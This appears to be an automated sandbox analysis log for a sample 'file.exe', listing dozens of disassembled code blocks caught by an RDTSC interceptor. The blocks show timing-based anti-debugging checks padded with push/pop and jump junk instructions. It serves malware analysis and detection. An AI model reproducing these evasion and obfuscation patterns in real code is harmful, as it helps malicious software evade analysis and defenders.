Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AAFAB second address: 12AAFCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007FECC5476B26h 0x0000000f jmp 00007FECC5476B35h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AAFCF second address: 12AAFD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AB13A second address: 12AB13E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AB13E second address: 12AB15A instructions: 0x00000000 rdtsc 0x00000002 jo 00007FECC5126362h 0x00000008 jno 00007FECC512635Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AB401 second address: 12AB408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AB6BA second address: 12AB6E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC512635Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007FECC5126356h 0x00000011 jmp 00007FECC5126367h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ADBB4 second address: 12ADBB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ADBB9 second address: 12ADC0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5126366h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FECC5126365h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FECC5126368h 0x00000019 push edi 0x0000001a pushad 0x0000001b popad 0x0000001c pop edi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B0F12 second address: 12B0F28 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jo 00007FECC5476B26h 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B06F3 second address: 12B06FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B088B second address: 12B08CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007FECC5476B26h 0x0000000c jmp 00007FECC5476B39h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FECC5476B36h 0x00000019 ja 00007FECC5476B26h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B0C11 second address: 12B0C1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007FECC5126356h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B0C1E second address: 12B0C2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B75BC second address: 12B7601 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FECC512635Ah 0x00000008 push edx 0x00000009 pop edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FECC5126368h 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 popad 0x0000001a jmp 00007FECC5126363h 0x0000001f push ecx 0x00000020 pushad 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7601 second address: 12B760A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B774A second address: 12B774E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B774E second address: 12B7770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FECC5476B35h 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B78B1 second address: 12B78C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007FECC512635Bh 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B78C5 second address: 12B78DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FECC5476B33h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B78DD second address: 12B78E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B78E3 second address: 12B78F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007FECC5476B26h 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B78F2 second address: 12B78F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B78F6 second address: 12B78FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7B8F second address: 12B7B9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FECC5126356h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7B9A second address: 12B7B9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7B9F second address: 12B7BAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FECC5126356h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7D22 second address: 12B7D5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FECC5476B26h 0x00000009 jmp 00007FECC5476B35h 0x0000000e jmp 00007FECC5476B2Bh 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push esi 0x00000017 jnp 00007FECC5476B2Ch 0x0000001d jc 00007FECC5476B26h 0x00000023 push esi 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261A2B second address: 1261A77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5126365h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000004h 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007FECC5126358h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 mov dx, di 0x0000002b mov edx, 5B58CBF1h 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 push edi 0x00000036 pop edi 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261A77 second address: 1261A8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5476B30h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BF7E6 second address: 12BF7EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BF7EC second address: 12BF7F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BFAA9 second address: 12BFAAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BFAAF second address: 12BFABC instructions: 0x00000000 rdtsc 0x00000002 jo 00007FECC5476B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BFABC second address: 12BFAF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jno 00007FECC5126367h 0x0000000b pushad 0x0000000c jmp 00007FECC5126362h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 pop esi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BFAF6 second address: 12BFAFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BFC79 second address: 12BFC83 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FECC5126362h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BFF4D second address: 12BFF53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BFF53 second address: 12BFF57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C00FE second address: 12C0102 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C66D1 second address: 12C66EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECC512635Fh 0x00000009 popad 0x0000000a push edi 0x0000000b push edx 0x0000000c pop edx 0x0000000d pushad 0x0000000e popad 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C6833 second address: 12C6841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FECC5476B2Ah 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C6841 second address: 12C684F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FECC512635Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C684F second address: 12C686D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5476B31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jg 00007FECC5476B26h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C74BF second address: 12C74E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5126368h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C74E0 second address: 12C74F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 jng 00007FECC5476B26h 0x0000000e jc 00007FECC5476B26h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C7A46 second address: 12C7A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FECC5126356h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C7CE6 second address: 12C7CFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5476B35h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D0A34 second address: 12D0A59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC512635Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jmp 00007FECC5126361h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CFD5C second address: 12CFD87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FECC5476B39h 0x0000000d jmp 00007FECC5476B2Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CFD87 second address: 12CFD8D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CFD8D second address: 12CFDC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FECC5476B34h 0x0000000d jmp 00007FECC5476B39h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CFEFC second address: 12CFF00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CFF00 second address: 12CFF31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FECC5476B28h 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f jmp 00007FECC5476B2Fh 0x00000014 pushad 0x00000015 popad 0x00000016 pop esi 0x00000017 jmp 00007FECC5476B2Eh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D01C4 second address: 12D01CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D0327 second address: 12D032B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D060E second address: 12D0627 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FECC5126367h 0x0000000c jmp 00007FECC512635Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D72DA second address: 12D72F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007FECC5476B2Ch 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D7857 second address: 12D7865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FECC5126356h 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D8021 second address: 12D8041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FECC5476B2Ch 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d ja 00007FECC5476B26h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D8041 second address: 12D8054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007FECC5126356h 0x0000000d jbe 00007FECC5126356h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D8054 second address: 12D807A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5476B2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007FECC5476B30h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D8214 second address: 12D8226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECC512635Bh 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D90E3 second address: 12D912A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECC5476B35h 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FECC5476B38h 0x00000013 jmp 00007FECC5476B2Ah 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D912A second address: 12D912E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DFBDB second address: 12DFBF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5476B35h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DFBF6 second address: 12DFC00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FECC5126356h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DFC00 second address: 12DFC04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF68C second address: 12DF6BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jo 00007FECC512637Ah 0x0000000b jmp 00007FECC512635Ch 0x00000010 jmp 00007FECC5126368h 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF955 second address: 12DF961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ECA67 second address: 12ECA91 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FECC5126356h 0x00000008 jmp 00007FECC5126365h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jno 00007FECC5126356h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F197A second address: 12F198B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECC5476B2Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FDCD2 second address: 12FDCE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECC5126363h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FDCE9 second address: 12FDCFB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FECC5476B2Ah 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FDCFB second address: 12FDCFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1302FB4 second address: 1302FB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1302FB8 second address: 1302FDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007FECC512636Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1302FDE second address: 1302FE3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1302FE3 second address: 1302FEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13095E1 second address: 13095E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13095E5 second address: 13095EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13095EB second address: 1309603 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FECC5476B2Bh 0x00000008 ja 00007FECC5476B26h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13099EA second address: 13099FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECC5126360h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1309FF2 second address: 1309FF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1309FF6 second address: 1309FFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130A9BF second address: 130A9C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130A9C3 second address: 130A9D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007FECC512635Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130FCBE second address: 130FCC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1312F94 second address: 1312F98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1312F98 second address: 1312FA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007FECC5476B26h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1312FA8 second address: 1312FAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1312FAC second address: 1312FB6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FECC5476B26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131DC4C second address: 131DC6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007FECC5126366h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131DC6D second address: 131DC73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
